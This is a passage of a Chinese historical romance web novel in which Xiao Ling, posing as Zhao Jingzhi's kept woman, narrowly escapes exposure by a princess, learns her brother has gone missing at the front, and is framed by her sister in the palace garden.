侍女还想再问些什么,却听帘内传来岑钰的声音。
“启程。”
马车很快掉头往相反方向驶去,西边暖阳渐斜,正透过流苏帘子缕缕照在岑钰的侧脸上。
她放下帘子,微微挑眉。
既然萧苓不在,那她便去海棠巷找容钦南好了。
皇兄向来疼她,加上他与赵景之关系匪浅,只要她去求皇兄,让他在母后那边说说好话,说不定母后能松口遂了她的愿呢?
-
与此同时,西屋内春潮渐歇。
萧苓意识有些迷蒙,忽然耳边捕捉到一点什么动静,莫名打了个寒颤。
她蓦地睁开双眼,被赵景之拥在怀里,只能看到他微微抬起的下颌。
却发现他正饶有兴致的看着窗外。
似乎是感受到怀中人的动作,赵景之垂下眼皮,微哑的嗓音在她头顶响起。
“人都走了,你才想起来害怕?”
一想到方才听到的动静是有人在旁边窥视,说不定是容钦南站在那里,萧苓被吓的瞬间僵硬,下意识想推开赵景之。却因空隙狭小,被他禁锢着动弹不得。
他分明就是故意的。
“赵景之,你放开!”
她心跳的厉害,紧紧攥着他衣袖的手也在发颤。
赵景之察觉到萧苓的害怕,没有计较她直呼他的名讳,反而低低笑起来,将他的下颌抵在她的头顶上。
他一说话,连带着她的胸腔也带着酥麻。
“萧苓,你永远都是这样。”
不管是儿时,还是现在。
永远都在逃避。
赵景之突如其来的叹息让萧苓琢磨不透他究竟是何意。
只觉得他的语气很轻、很柔。
从他回京后,他还是头一次用这种语气同她说话。
和多年前一样。
酸涩感很快充盈着萧苓的眼眶,她极力忍住要往下坠的眼泪,竟然生出两分难过来。
他一直都知晓她的处境。
他有什么资格对她说这种话?
一开始是在侯府,后来又在东宫,现在又多了一个海棠巷。
她所有的窘迫、难堪,在赵景之眼中无处遁形。
泪水如断了线的珠子往下坠。
赵景之不知道他随口的一句话在萧苓的心中掀起多大的风浪,只是觉得手背上一阵灼热。
他眼皮稍落,下颌从她头顶移开,长久地注视着她。
萧苓察觉到那道视线,却不肯抬头。
轻纱随着她低头的动作一同往下垂落,同时将赵景之的目光隔绝在外。
但萧苓仍是觉得心慌。
那目光有如实质似的,极具压迫性,不是她装看不见就能忽略。
果不其然
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,下一瞬,轻纱被男人掀开,一股冷风迎面扑来。
唯独被他掌下覆着的腰带着灼人的烫意。
好像冬日里煨着的炭火,猝不及防烫了她一下。
萧苓被迫迎上赵景之的目光,他的一双凤眼微微泛红,正蓄着她看不懂的情绪。
“世子?”
她想移开眼,下颌却被他的手攥起。
“你方才不是叫过我的名字了么?”
“叫我赵景之。”
赵景之一字一顿。
萧苓见他薄唇轻启,不像是在开玩笑,反而心头一凛,不自觉咬紧了唇瓣。
方才叫他名字,是情急之下的不得已,完全是下意识的,而这次他要她在清醒状态下唤他的名字。
完全是强人所难。
萧苓耳根发热,两靥陡然染上淡淡胭脂色。
她根本说不出口。
以往少不更事叫过他“景之哥哥”,也叫过他“世子”,但唯独“赵景之”三个字堵在嗓子眼里。
片刻沉默后,她被赵景之盯的头皮发麻,只好顺着他的心意颤着嗓音道:“赵景之?”
“嗯。”
他轻轻应了一声,辨不清情绪。
萧苓估算着时辰,就算赵景之再怎么找借口出来,容钦南都等不了他太久。
所以容钦南随时都有可能出现。
一想到此处,她的心都快要跳出胸腔。
只想催促赵景之快些离开。
要不让她回去也可以。
少女眸中泪光盈盈,眼底通红,目光不知不觉中夹杂了祈求。
赵景之稍稍用力,将她的下巴往上抬了抬。
“现在赶我走,是不是晚了些?”
他语气平缓,可没头没脑的话却令萧苓毛骨悚然。
什么叫已经晚了?
忽然门外传来喧嚣,如鼓点般敲击着萧苓的耳膜,震得头脑发昏。
她分明听到守在外面的侍从齐声道:“参见公主——”
随后便是岑钰的声音。
“平身。”
而正屋那边也有了动静,是椅子被拉动的声响,紧接着是容钦南嗔怪而诧异的斥责:
“胡闹!你怎么过来了?”
等意识到什么后,萧苓脸上血色寸寸褪尽,连带嘴唇也发白。
赵景之似是没听见似的,依旧看着她,仿佛世间喧嚣都夺不走他的目光。
可萧苓慌极了,汗毛乍起。
听着愈来愈近的脚步声,一道走的略急些,是从门外方向传来的,还有一道是从正屋里传来的,听着声音已经快走到廊下了。
他们很快就要走到院子里了。
到时候,西屋的情形一览无余。
一眼就能看到她和赵景之。
萧苓的手心里已经紧攥出了冷汗。
赵景之松开她的下颌,手却慢慢抚着她苍白如纸的脸颊,一点点俯下身凑近她的耳畔。
“摆在你面前的,只有两条选择。”
两人贴得极近,热息喷薄在耳侧,萧苓的脑海倏忽变得空白。
赵景之抬起头,与窗外那道已经探究过来的视线对在了一起。
他毫不畏惧,反而微扬唇角,压低声音道:
“第一,打开门,与他退婚。”
“第二,关上门,和我一起。”
最后,他压低了声音。
“萧苓,你选一个。”
23. 心慌
岑钰到的时候,日头已经落了下来。
海棠巷正如其名,道路两旁种有不少海棠,此时已是秋末,略显萧条。
她转过视线,一眼便看到皇兄马车停在巷子里的尽头,神色雀跃,连带着脚下的步子也轻快起来。
心里却不免诧异,皇兄为何会来这里?
也没听说他和此处有牵扯。
但一想到待会就能见到皇兄,这个念头很快便抛之脑后,又开始想起另一个问题。
皇兄一定会帮她的吧?
正在踌躇间,容钦南带来的宫人却先注意到了岑钰,纷纷躬身行礼。
岑钰闻声挥了挥手,一个人往院子里进。
正好看到容钦南长身玉立站在檐下,听到动静后正一脸不愉的看着她。
“胡闹!你怎么过来了?”
他迈下台阶,衣袂生风。
语气已经带上了隐隐不耐。
岑钰心中暗道不好,可她又不想半途而废,只能硬着头皮上前。
“皇兄。”
容钦南看着岑钰欲言又止的模样,眉心一跳。
他对她来此深感意外,同时也觉得莫名烦躁。
他甚至觉得岑钰是为了赵景之才找到这里。
若是这样,那赵景之真是不识好歹。
放着堂堂公主不娶,跑这么偏的地方就为了这么一个哑女?
容钦南看着岑钰,一时责怪的话半点也说不出。
但还是站在她的面前,冷笑道:“宫里的人真是愈发会当差了,竟然连人都看不好。”
他话锋一转,“皇妹过来是为了什么呢?”
岑钰莫名窘迫,一时伫立原地。
她知道皇兄是生气了,只能悄悄扯了扯下容钦南垂落的袖摆,叫了声“皇兄。”
容钦南最心疼他这个皇妹,也不忍心过多苛责,只是当她年纪小不懂事,正准备三言两语将她打发走,忽然又想起赵景之还在西屋里。
余光一扫,却发现方才还在西窗旁交缠的身影已经消失不见。
他的眉心不由得皱得更深。
心里的那点不对劲渐渐翻涌。
岑钰见他眉心折痕愈深,试着张了张口,刚想问皇兄为何会在这里借此缓和气氛时,却听“吱呀”一声。
西屋紧闭的门开了。
岑钰闻声回头,待看清来人后,竟然惊讶的瞠目结舌,说不出整话来。
“景……你……你……”
意料之外的人出现在她面前,她无疑是惊喜的。
朝她与皇兄渐渐走近的男人身姿挺拔,霜色锦袍衣摆用繁复银线织就,显得纤尘不染,看着很是凌厉,可平日里冷淡的眉眼却温和了些,面若冠玉,若是仔细看,还噙着抹意味深长的餍足。
是景之哥哥!
岑钰不由得看愣了。
她刚要迎上去,下一瞬脚却被钉在原地,如坠冰窟。
“景之哥哥,她是谁?”
岑钰不可置信的声音带着颤,伸手指着跟在赵景之身后的萧苓。
赵景之却没有回答,只是拱手行礼,“臣参见公主。”
声音如泠泠青玉,恭敬而又疏离。
萧苓也跪了下来,指尖死死掐着手心,还好有幕离遮住了她的大半视线,垂落目光只能看到地面上赵景之倾泻下来的衣摆。
直到现在她仍是恍惚的,脑海中还回旋着赵景之的那句“选一个”。
只要她推开这扇门,就是与容钦南撕破脸皮。
撕破脸皮,然后呢?
现在显然不是好时机。
随着窗外二人交谈声传来,萧苓紧张得如同有什么东西在搅动着她周身的空气,快要喘不过气来。
终于,她做出了选择。
抬起湿漉漉的双睫对上赵景之的眼,“我和你一起。”
这就是萧苓的答案。
赵景之看她一眼,喉结滚动了一下,却没有答复。
萧苓的心不免越陷越沉。
-
面对如此场景,岑钰的脸青白交加,一会儿看着赵景之,一会儿又看着他身后的萧苓。
一时间竟然死死咬住唇,脸皮涨的通红,连让“平身”两个字都说不出口。
院子本来不算小,但一连挤了四个人,空气连带着也凝重起来。
容钦南觉得事情棘手,他本来有意遮掩,就是怕被岑钰看到,没想到两个人直接撞到岑钰眼皮子底下。
但事已至此,又是在外面,不好多生事端。
他正要皱眉出言提醒岑钰,却见岑钰径直往前走了几步,不知要做什么。
萧苓低着头,冷风吹起迤逦在地的衣袂,连带着面上的白纱也微微晃动着。
她头皮发麻,等回过神后,淡粉色衣摆竟然落至她的眼帘。
——是岑钰走过来了。
萧苓头皮发麻,目光死死盯着地面,心里有种诡谲的荒谬。
容钦南过来,她已经是捏了一把汗。
只是没想到岑钰也会跟着过来。
如果被岑钰知晓她的真实身份,她该怎么办?
飒飒风声带走她周身血液温度,一时间萧苓心头沉重,只觉手脚冰凉。
她不敢再深思。
冷汗很快浸透了她的薄衫。
就在她屏住呼吸之时,突然瞥到岑钰身影渐近,眼看那白纱就要被一撩而起……
萧苓不由得闭上了眼。
全身血液一霎时凝结成冰,耳朵嗡嗡作响,隔绝了外界所有声音。
大脑一瞬间变得空白。
突然有一道力道将她拉起,速度之快,正当天旋地转之时,又被有力的臂膀紧紧护在身后。
还未站稳,紧接着便听到一声轻斥:“公主!”
清冽冷香萦绕在萧苓身旁,预想中的事情并未发生,她不由得睁开了眼。
高大的背影伫立在萧苓面前,虽然看不清赵景之的脸,但也能听到他泛着冷意的声音穿透寒秋准确无误传入她的耳中。
“公主为万民表率,若是今日在海棠巷的一言一行都传到圣上耳朵里,怕是不好吧?”
赵景之的语气透着森森寒气,仿佛丝毫不惧岑钰的公主身份。
不光是萧苓,就连岑钰也是一怔,与赵景之相识数载,二人对话不过寥寥数语,但他极少有情绪外露的时候。
这还是他第一次用这般语气同岑钰说话。
她满眼错愕,眼睁睁看着赵景之将那少女护在身后。
手还尴尬的停留在半空中。
可她仿佛被什么东西击中似的,杏眸瞬间水雾弥漫。
“她就是你说的心上人?”
岑钰脑海中突然记起赵景之先前说过,他有个心上人。
有什么正一点点连成线。
皇兄才纳过良娣,这处庭院不可能会是皇兄的,那就是赵景之的。
她不得不想起“金屋藏娇”四个字。
刚刚他们还从一个屋里出来……
岑钰不敢往下想,她多希望赵景之能否认。
“皇妹,不要胡闹!”
容钦南赶在赵景之启唇前打起了圆场。
他本来是可以拦住岑钰的,可是在看到她要摘掉那姑娘的幕离,他却收回了手。
可现在事情走向已经出乎容钦南的意料,若是任由岑钰胡闹,想必会闹得很难看。
他暂时还不能失了赵景之这个助力。
岑钰听着皇兄的斥责,目光却定定的落在赵景之身上,他未置一词,就是默认了他与身后姑娘的关系。
肆意的泪珠再也忍不住坠下,眼眶微红,竟然直接提裙跑了出去。
“皇妹!”
容钦南看着那道身影跑出了院子,面色一沉。
但还是缓和了语气,对赵景之道:“岑钰就是这个性子,还请景之不要同她计较。”
容钦南此言是安抚亦是施压,虽说岑钰此举确实不妥,可毕竟有公主的身份在,他作为太子殿下能给赵景之一个台阶下,已是天恩。
若是赵景之不识抬举……
此时已是一片寂静。
萧苓听出弦外之音,心里一紧,生怕赵景之做出什么僭越之举。
仿佛是印证了萧苓心里所想,下一瞬,等听到赵景之的回答后,她一时间心跳如雷。
“殿下,恕臣直言,臣已有意中人,与公主不是良配。”
“这句话臣已说过多遍,无论是从前,抑或是今后,都不会更改。”
赵景之言罢,拱手行礼。
“还请殿下恕臣直言不讳之罪。”
字字句句,言辞恳切,不像作假。
萧苓不由得抬眸对着那冷肃的身影看了一眼。
若不是赵景之提议让她扮演他的外室,否则当着她的面一次又一次提及“心上人”“意中人”,不然真容易生出错觉。
她不自觉咬紧了唇。
赵景之此举,真的不会惹恼容钦南和岑钰么?
容钦南闻言,眉心折痕愈深,垂下眼皮遮住风起云涌的暗色,一抬眼又是一派和煦模样。
“景之言重了,孤既然已经知晓你的心意,等回宫后自然会管教岑钰,绝不会让她再做出这种事情。孤代岑钰向这位姑娘赔罪,今日实在是冒犯了。”
他将赵景之扶起,又把目光瞥向了萧苓。
容钦南肯纡尊降贵向萧苓道歉,她自是惶恐,径直跪下行礼。
虽然无法开口说话,但好在礼数周全,挑不出错。
“好了好了,既然世子喜欢你,也不必行如此大礼。”
容钦南制止,他心下担忧岑钰,对萧苓没什么好语气。
但还顾及着赵景之,故而面上不显。
“孤想起东宫还有政务未处理,就不久留了,等改日再邀景之进宫,孤亲自设宴,如何?”
“但凭殿下吩咐。”
“恭送殿下。”
赵景之送容钦南出院子。
*
等容钦南走后,整个庭院如深潭般寂静。
萧苓松了口气,起身后只觉得后背冷汗涔涔,风过衣衫后冰冷刺骨。
反观赵景之却是一派从容,折返回来,负手走至她面前,居高临下看着她。
“怎么,吓到了么?”
萧苓摇头。
其实她是害怕的,心到现在还是慌的。但这件事被揭了过去,也就没有再说的必要了。
而且,也能让岑钰歇了心思。
只是这过程有些曲折了些。
她悄悄捏了把手心,不知怎地,她在面对岑钰时,竟然还有些心虚。
萧苓转而想到什么,脸白了两分。
“这一切都是你计划好的吗?”
他永远一副云淡风轻模样,如果说他不知情,她是不相信的。
但话一出口,她就后悔了。
就算是赵景之策划的,他会承认么?
赵景之没想到萧苓会有此问,眼皮微垂,将眼底晦色遮掩,最终还是轻笑出声。
“萧姑娘未免把我想得太神通广大了些,其实我也紧张的很,不妨你听听我的心跳的快不快?”
他言罢突然上前一步,拉近了两人间的距离。
冷香瞬间袭来,萧苓不由自主后退半步,却被赵景之一把攥住手腕。
“你……”
赵景之的掌心温热,将她烫得连完整的话也说不出口。
他单手解开大氅,露出一层单薄的外裳,手腕一用力,将萧苓的手按在了他的胸膛上。
她想躲,赵景之偏要勉强,步步紧逼。
缓慢而有力的心跳通过绵软的布料一声声在她手心下跃动。
与她极快的心跳很是不同。
扑通、扑通。
四周静谧得只能听见彼此的心跳声,而他缓慢的心跳韵律在她耳旁被无限拉长。
萧苓瞬间红透了耳根,长睫簌簌抖动。
太近了……太近了……
“萧姑娘,能听出来我的心慌的厉害么?”
赵景之微微垂首,狭长眼尾带着潋滟,以他的角度能明显看出萧苓浑身一僵,此时有冷风吹过,正好带起白纱的一角拂过他的下颌。
带着轻微的痒意。
他的动作顿了顿。
萧苓就趁着这个空档挣脱他的桎梏,将手收了回去。
指尖还残留着赵景之的体温。
她的双颊早已红透,就连脖颈也透着淡淡粉意,这么近的距离,甚至能听到他清浅的呼吸声。
“世子说笑了,天色已晚,我就先回侯府了。”
萧苓见赵景之没有吭声,甚至还好心为她让开半步距离,又鼓起一点勇气启唇:
“既然已经打消了他们的疑虑,那我这两日就不来这里了,若是有要事,请世子派人通禀一声。”
赵景之颔首,表情并没有太大起伏,只是从眼尾洇出一点霜色。
萧苓没有察觉,生怕赵景之反悔,只顾低头往外走。
“萧姑娘可不要忘记,你的承诺。”
就快要走到一米开外,萧苓忽然听到他的声音在身后回响。
忽然打了个寒颤。
她迟疑一瞬,咬唇应了声“好”。
随后便加快了脚步,头也未回地离开了。
赵景之看着她的背影,目光幽深,却是不自觉摩挲起方才攥过她手腕的指尖。
仿佛还萦绕着淡淡的桂花香。
-
镇国侯府。
萧苓回去时,已是夜色四合,无边月色铺陈在地,尽显凉意。
当她正走过游廊回自己院里时,却被陈氏叫住。
“宁宁这是去哪了?怎么回来的如此晚?”
陈氏早就听闻岑钰下午来找过萧苓,只是萧苓不在,人就离开了。
她不免诧异,还特意去了萧苓院里瞧,一看果真不在。
没有报备就私下里出府,这可是大事。
所以,她从用过饭后就在此堵着萧苓。
萧苓不禁蹙眉,她将幕离取下,对着陈氏浅浅一礼。
说出了早就想好的措辞。
“父亲和兄长出征在外,萧苓去了城郊江边为父兄放河灯祈福,所以回来的晚了。”
她不算说谎,从海棠巷出来时,就匆匆去了城郊。
但就算是去城郊,也要不了那么长的时间。
陈氏手里提着灯笼,借着微弱的光,不着痕迹对着萧苓沾上泥渍的鞋看了一眼,这才挤出笑意道:
“难为你这么有心,不枉世子这般疼你。快回去罢,外面天凉,别受风了。”
萧苓听出话里的刻薄,知道陈氏一直不喜自己,也没有太在意,只是淡淡应了一声。
陈氏像是一拳打在了棉花上,觉得无趣,便自顾自转身离去。
只是快拐过游廊折角,若有所思对萧苓的背影看了一眼。
-
夜里辗转反侧,难以入眠。
萧苓第二日便去了荣华寺上香祈福。
以往父兄出征,她都要去寺里祈福,再为父兄求一个平安符。
祈求平平安安,无病无灾。
佛香氤氲,来往者络绎不绝。
萧苓双手合十,跪在蒲团上,虔心祝祷。
她在心中默默祷告,求父兄早日平安归家。
随后起身,取过签筒,重新跪在佛像前,轻缓晃动着竹签。
萧苓闭上双眼,静息凝神,可不知为何,心里却是愈发紧张。
“啪嗒——”
随着一根竹签的掉落身旁,她的眼皮猛然一跳,心有不安,手指微蜷却是迟迟不敢去捡。
以往所求签文,从未有今日这般心绪不平。
旁边有负责解签的僧侣,他观察到萧苓的迟疑,手持佛珠,抬步走过。
“施主,可要解签?”
声音平缓,淡然如梵音。
僧侣的话让萧苓滋生一些勇气,她最终还是起身捡起竹签。
却是眉眼低垂,递交给他,不去看上面的红字。
“有劳师父。”
那僧侣慈眉善目,郑重接过。
只是他的目光刚一落在签文上,倏忽面色一变,又对着萧苓看了一眼。见她神色惴惴不安,正斟酌着用词,忽然有一身影快步掠过。
来人侍女装扮,甫一进殿,便朝眼前少女的方向走去,低声快速对那少女耳语几句。
像是听到什么噩耗,只见少女明显一顿,清丽面容变至灰败,原本微垂的明眸不可置信瞪大,激动地攥住了那侍女的衣袖。
嘴唇翕动,却发不出声音。
也许是事情急促,她顾不得求解签文,脚步踉跄着出了大殿。
那侍女紧跟其后。
大殿天光通明,香客来往,很快便将她萧瑟的背影给淹没。
僧人手指转动着佛珠,目光悲悯落在竹签上,心里暗道惋惜,微不可见摇摇头。
那竹签上红字显目。
第十八签,下下。
-
马车疾驰在山路上,刺骨冷风狂拍轿帘。
萧苓盯着窗边一闪而过的山景,整个人如坠冰窟,几乎坐不住。
她紧紧攥着流云的手,哆嗦着嘴唇,才在呼啸的风声中找到了自己的声音。
“你说的都是真的么?”
流云死死咬着牙,泪水在眼眶里打转,抑制着不让自己哭出声。
她跪伏在萧苓腿旁,低着头,才能完整说出话来。
“流云不敢撒谎。”
有什么在一点点被撕碎。
将她的肺腑扯的鲜血淋漓。
萧苓忽然苦笑出声,流云胆子再大,也不可能拿这种事情诓她,更何况现在坐的马车就是陈氏派人传信来接她下山的。
传信那人怎么说的来着?
“北戎战败,但侯爷和世子在明月关遭了伏击,侯爷伤势严重,昏迷不醒,由郑副将护送着回京,已经到府里了。世子坠落悬崖……生死不明。老夫人……”
后面的话她听不下去了,只看到传话的人嘴巴张张合合,吵得她耳膜生疼。
明月关。
生死不明……
这几个字像利刃一点点往萧苓心里扎。
她突然觉得全身都在颤抖。
她还记得萧负雪给她的回信——“待拿下明月关,京州初雪前必定归家。”
这两道声音交织在一起,让人思绪纷乱如麻。
像被巨石一样将她的身子全部碾过,痛得喘不过气来。
兄长……
兄长……
山路颠簸,分外难行。
萧苓归心似箭,希望能再快些,但是当眼前景色快速掠过,她又希望能慢点,再慢点。
不知过了多久,马车才缓缓停在镇国侯府前。
萧苓从下车以来,脸色煞白,连腿脚都是软的,被流云紧紧搀扶着,才不至于摔倒。
萧家打了胜仗的消息很快就传回京州,门口围了些看热闹的人,时不时低语几句。
但也只是围着,并无人敢上前。
看到萧苓过来,纷纷让出一条路。
看向她的目光,有惋惜的,也有幸灾乐祸的。
萧家此次怕是要乱成一锅粥了。
这一仗损失惨重,虽说击退北戎有功,但所率精兵所剩无几,就连担任副将的萧负雪都生死未卜。
还不知朝堂之上该如何风起云涌。
萧苓置若罔闻,指尖紧紧攥着手心,用疼痛保持着身形稳定,匆匆进院。
她只希望这是老天同她开的玩笑。
刚行到正厅,便见几个大夫进进出出,面露难色。
仆妇端着铜盆与纱布来去匆匆。
弥漫着浓重的血腥气。
而陈氏刚把昏厥的老夫人搀回房里休息,这会儿正和郑副将说着话。
一看到萧苓,便捏着帕子哭了起来。
“宁宁,你可算回来了。”
萧苓置若罔闻,径直去了内室。
层层叠叠帷幔拂过,她只看见躺在榻上脸色灰白的萧净。
全身上下伤口遍布,没一处好肉。
只要一凑近,难闻的血腥气几欲作呕。
萧苓环顾四周,不见萧负雪。
兄长呢?
对,还有兄长的院子,说不定他也同父亲一样躺在榻上呢?
她刚要抬脚往外走,却被流云拉住。
“姑娘。”
流云忍着眼泪朝她摇摇头。
萧苓回过神,抬起恍惚的双眸,眼眶早就酸痛不已。
等出了正厅,发觉陈氏和郑副将还在门口等着,她福了福僵直的身子。
郑副将风尘仆仆,粗粝的脸庞生出淡青胡茬也顾不得整理,对萧苓拱手道,“末将还有些事情要同萧姑娘交代,借一步说话。”
陈氏也不好阻拦,只能眼睁睁看着萧苓引路将郑副将带至偏僻无人处。
随后擦拭了下眼角不存在的泪。
萧苓刚一站定,不由得懵然出声。
“郑伯伯这是……”
郑郅是萧净麾下的老人,与萧负雪生父也是至交好友,如今萧家遭此大难,他老泪纵横“扑通”一声跪在了萧苓面前。
“郑郅有罪,没有保护好世子……”
萧苓手脚冰冷,一听到兄长,泪水再也抑制不住,簌簌滚落下来。
她直到现在还在希冀,这一切都是一场梦。
梦醒了,兄长就归来了。
“原本最后一仗趁着东风,我们可以赢得很顺利。但是夜里粮仓失火,连带着大营一起被烧,又加上北戎偷袭,侯爷和世子兵分两路,世子带着人往外突围,侯爷正面迎敌。结果世子往返途中遇到雪崩,躲闪不及坠崖……”
萧苓死死咬着嘴唇,似是不敢再听下去。
雪崩。
坠崖。
兄长该多冷啊。
他还等着京州的第一场初雪。
她极力掩住哭腔,声音艰涩。
“那兄长的尸骨呢?”
郑郅摇摇头,他眼皮子耷拉着,整个人散发着死寂,但唯独宽厚的背挺得笔直。
“末将带人去看过了,共有五十余人突围,但只找到了十余人的尸骨,其中没有……世子的。”
他越说声音越低,仿佛只要说的小些,这一切都不复存在。
但落在萧苓耳中,如刀子般往她早就鲜血淋漓的心脏里扎。
苦涩从喉咙里咽下,她忽然喘不过气来。
“对了,萧姑娘。”
萧苓闻声垂眸。
郑郅想起什么似的,也没有起身,从怀里掏出一根被小心翼翼护着的竹管。
萧苓不明其意。
她又看着郑郅接下来的动作。
似乎是心有所感,缓慢屏住了呼吸。
北境苦寒
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,郑郅的手布满干裂冻疮,可他一点点打开竹管,露出里面崭新如故的绢布时,却是无比小心。
他双手递给萧苓。
“这是世子在突围前交给末将的,说是要亲手交到姑娘的手上,切不可假手于人。”
竹管触手光滑,定是被人在深夜摩挲过不知多少遍。
萧苓握着它,就仿佛能触摸到兄长温热的手心。她眉眼一低,泪水“啪嗒”滴落在竹管上,迤逦出一道湿痕。
她抽出绢布,手颤抖得不成样子。
只是匆匆看了两眼,极力忍住的眼泪不断涌出,尽数滚落在领口。
她哽咽道:“有劳郑伯伯了,萧苓在此谢过。”
随后对着郑郅深深一礼,就头也不回地转身离去。
此时,园子里枯黄的梧桐叶在她身后尽数落下。
-
萧家的事情很快便传的满城皆知。
萧净身负重伤,昏迷不醒,而萧负雪尸骨无存。
本就人丁凋敝,这下真是要败落了。
人人皆道惋惜。
但更多的人却是将目光落在了萧苓身上。
如果萧家败落,太子还愿意履行婚约,迎萧苓进东宫么?
流言日嚣尘上,自然也传到东宫。
容钦南此人一向重诺,说要设宴请赵景之,改日便在东宫设下一桌筵席。
筵席在长廊临水而建,此时水声泠泠,诗意盎然。
容钦南坐在席首,天光尽数落在他玄色衣袍上,唇角勾着笑意,更显丰神俊朗、斯文俊逸。
他举起酒杯敬赵景之。
“前些天给景之添麻烦了,还请景之宽宏大量,不要记挂。”
赵景之同样举起酒杯,有风灌入他的衣袖,颇具风流。
“殿下言重了。”
两人一饮而尽。
随后容钦南拍手屏退宫人,偌大席间只留他们二人。
他压低声音,道:“今日父皇称病未上朝,估计是因为萧家的事情吧?”
他看着赵景之,语气中透着隐隐的兴奋。
赵景之微不可见的蹙眉。
萧家如今元气大伤,与他先前打听到许锦忠派其外甥陈既白去北境赴任脱不了干系。
换言之,与许锦忠有关。
再往深处想,同样少不了容钦南的授意。
他们已经将手伸到了北境。
那北戎突袭,会不会也与他们有关?
这个答案呼之欲出。
赵景之垂眼,将目光落至远处,秋末的池塘只留下几枝枯败的残荷,看着萧瑟不已。
只一眼,他便收回视线。
“殿下知晓臣回京不过两月而已,又初涉朝堂,哪敢妄议朝政?”
他说话间带着笑意,又斟了杯酒敬容钦南。
容钦南闻言笑了两声,痛痛快快饮了一杯酒。
他像是得了什么喜讯,如此春风得意。
赵景之如水般平静的心却泛起了涟漪。
如今临湖而坐,他不可避免的想起了萧苓。
不过须臾,赵景之将心思压住,目光转向容钦南。
“殿下今日看着很是痛快?”
容钦南没有回答,突然转了话锋,“都说你心思玲珑,若你是孤,你会娶萧苓么?”
这个问题出乎意料。
赵景之握着酒杯的手突然顿了顿,不禁皱眉,落在容钦南眼中,以为他是被吓住了。
又道:“孤给你一个假设的机会,假如你是孤,站在孤的立场上,你会娶萧苓么?”
他看着赵景之果真思考起来,虽说面色冷白,眉目也透着冷意,却是一副郑重模样。
赵景之的指尖不由自主摩挲着杯面,突然低声笑了笑。
“我会娶。”
随着话音落下,心里泛起的涟漪全部归于平静。
容钦南没有多虑,叫了声“好”。
“以前孤总觉得她无趣,呆呆的,像放在书桌上不会动的摆件,但是孤想了想,这样倒也不错。温顺、忠诚,也不会撒谎,更重要的是,没有了萧家的助力,她能老老实实待在孤身边一辈子,况且柔儿是她亲姐妹,对柔儿也能尽心尽力。”
温顺无趣么?
赵景之不由得想起上回脖颈被她咬破的伤口,早已结痂,但只要一想起,还泛着痒。
“娶她,是孤本该在年初决定的事情,只是拖到了现在,但愿她不会怪孤。”
容钦南自顾自说道,端起手中的酒,一饮而尽。
赵景之同样一饮而尽,却保持着缄默。
不知在想些什么。
他忽然听到廊角有极轻的脚步声,这时宫人都已退下,只怕是哪个有心的。
猜到来人,赵景之并未吭声,只是对还在饮酒的容钦南看了一眼,唇角勾出极轻的一抹笑。
-
萧家这几日沉寂不少。
萧净的病情不断恶化,原因是侍女夜里疏忽忘记阖窗,致使风寒侵体,高热不退。
本来虚弱的面庞,已经起了干皮。
只能靠参汤吊着了。
陈氏站在一旁看着大夫进进出出,掩着唇打了个小小的哈欠,眼睛下面已经覆了层青灰。
老夫人禁不住刺激,加上先前的病症已经卧床不起了。
这下侯府里的事情都压在了陈氏肩上,她两头受累。
等伺候完老夫人用饭,她再也忍受不住要去补眠,随口对自己的侍女道:
“去将大姑娘叫过来。”
侍女领命而去,回来时却是面露难色。
“回夫人,大姑娘进宫了。”
陈氏面色一变,顾不得老夫人刚睡下,声音也变得尖利起来。
“什么?进宫?”
“是的,大姑娘晨起便去了,现在怕是已经到宫里了。”
侍女颤着嗓音,惶恐得快要站不住。
陈氏想到近日来的流言,一颗心忐忑起来,径直将手狠狠掐在了那侍女软嫩的胳膊上。
“要你有什么用?连个人都叫不来。”
_
秋冬之交的午后,日头正好,不是很热,浅照在青石板上,给其蒙了一层淡淡的光影。
进宫后,萧苓被引路嬷嬷带至偏殿静候召见。
说是圣上正在勤政殿处理政务,一时半会不得空。
行至一半时,那嬷嬷突然被人叫走,看模样事态很急,不得不给萧苓指了路,让她自行前去。
萧苓颔首,“有劳嬷嬷。”
宫规森严,不能出任何纰漏。她悄悄握紧了手中的竹管,就像是握住了兄长的手心。
给了她安心的力量。
垂首行在宫道旁,抬头看着一排候鸟南飞,萧苓突然没由来的感觉轻快。
再往前行两步,途经御花园。
却听见一声“姐姐。”
萧苓停顿脚步,回头,是萧柔在唤她。
萧柔一身淡青斗篷,芙蓉面上明眸微弯,整个人说不出来的容光焕发。
可萧苓的目光却落在了她精巧繁复的发髻上,缕缕乌发间缠绕着的正是那支白玉簪子。
与容钦南送的一模一样。
时到今日,萧苓心中再无波澜。
不过三两息功夫,萧柔已经屏退了随身服侍的三两宫人,缓步行至萧苓面前,用只有两个人的声音在她耳畔道:
“妹妹喜欢花,殿下就特意陪妹妹到御花园赏花呢。”
萧苓不着痕迹后退一步,与她保持着距离。
“殿□□恤妹妹辛苦,我还有事情,就不多留了。”
她不想与她纠缠,正要离开,却被萧柔拉住了袖口。
“那姐姐进宫做什么呢?总不能是来看妹妹的吧?”
萧柔轻轻笑了一声。
萧苓当然不是。
她抬眼看了萧柔一眼,语气微沉,“是为了侯府。”
萧柔的笑意瞬间消失,拉住萧柔袖子的手也顿了一下。
她自然是听说了侯府出事,只是当她说要回府探望,容钦南却道她身子不方便,唯恐难过伤身。
再说侯府还有祖母和母亲,又能出什么事?
萧柔很快便回过神,又换上了意味深长的语气。
“姐姐进宫,究竟是为了萧家的事情,还是想趁机让殿下履行婚约?”
她的声音很低,低的快要听不见。
萧苓闻言,眉心一蹙。
萧苓扯着她的衣袖,脸上笑意愈深,可若是仔细看,却发现那笑意并未抵达眼底。
萧苓察觉到不对,本能往后退一步。
就在这时,身后传来一声轻斥:“你们在做什么?”
萧苓闻声一惊,就在怔愣间,她感到袖口一松,一阵惊呼过后,竟是萧柔跌在了地上!
斗篷散落,清脆一声响过后,那根白玉簪断成了两截。
这些都是次要,萧柔的手已经捂上了小腹。
“我的孩子……”
萧苓垂眸,睫羽颤了颤,总算是反应过来。
本就冷白的脸上更是覆成了层霜。
萧柔在陷害她。
“柔儿!”
容钦南声音御花园回荡着。
“殿下……”
似乎是疼的不行,萧柔额角有冷汗渗出。
容钦南三步并作两步快速走过,风姿秀彻的眉目染上急切,俯身去叫她。
再看身上除了擦伤后,再无别的血迹,这才放下悬起的心,将她打横抱起。
“怎么回事?”
萧柔浑身冷汗,已经说不出话,双手无力攀在容钦南的脖颈上。
所以他问的,只能是萧苓。
萧苓捏紧了袖缘,深吸了一口气。
容钦南怀里还抱着人,本来从容淡然的面容却是晦暗不明,目光紧锁着她那同样惨白的脸,似乎在辨真假。
萧苓直视着容钦南的双眼。
